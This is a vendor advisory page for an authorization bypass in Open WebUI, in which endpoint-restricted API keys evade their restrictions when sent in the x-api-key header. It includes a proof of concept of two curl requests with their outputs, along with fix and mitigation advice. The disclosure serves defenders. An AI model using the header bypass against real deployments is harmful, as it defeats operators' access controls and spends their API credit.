GHSA-57q6-fvp4-pqmm
MEDIUMGHSA-57q6-fvp4-pqmm is a medium-severity (CVSS 6.5) CWE-863 vulnerability in open-webu. O3 Security confirms whether GHSA-57q6-fvp4-pqmm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-57q6-fvp4-pqmm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-57q6-fvp4-pqmm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.
Details
Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.
This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.
PoC
Verified against Open WebUI v0.8.11.
Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.
API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"
# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
-H "Authorization: Bearer $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'
# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
-H "x-api-key: $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'
Verified output:
# Authorization header:
{"detail":"API key not allowed to access this endpoint."}
# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}
The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).
Impact
Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:
- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses
- Keys restricted from admin endpoints may access admin functionality
- The operator's intended access control is silently ineffective
- API credit spend cannot be controlled through endpoint restrictions
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webu | all versions | 0.9.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webu. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webu to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-57q6-fvp4-pqmm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-57q6-fvp4-pqmm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-57q6-fvp4-pqmm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-57q6-fvp4-pqmm in your dependencies?
O3 detects GHSA-57q6-fvp4-pqmm across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.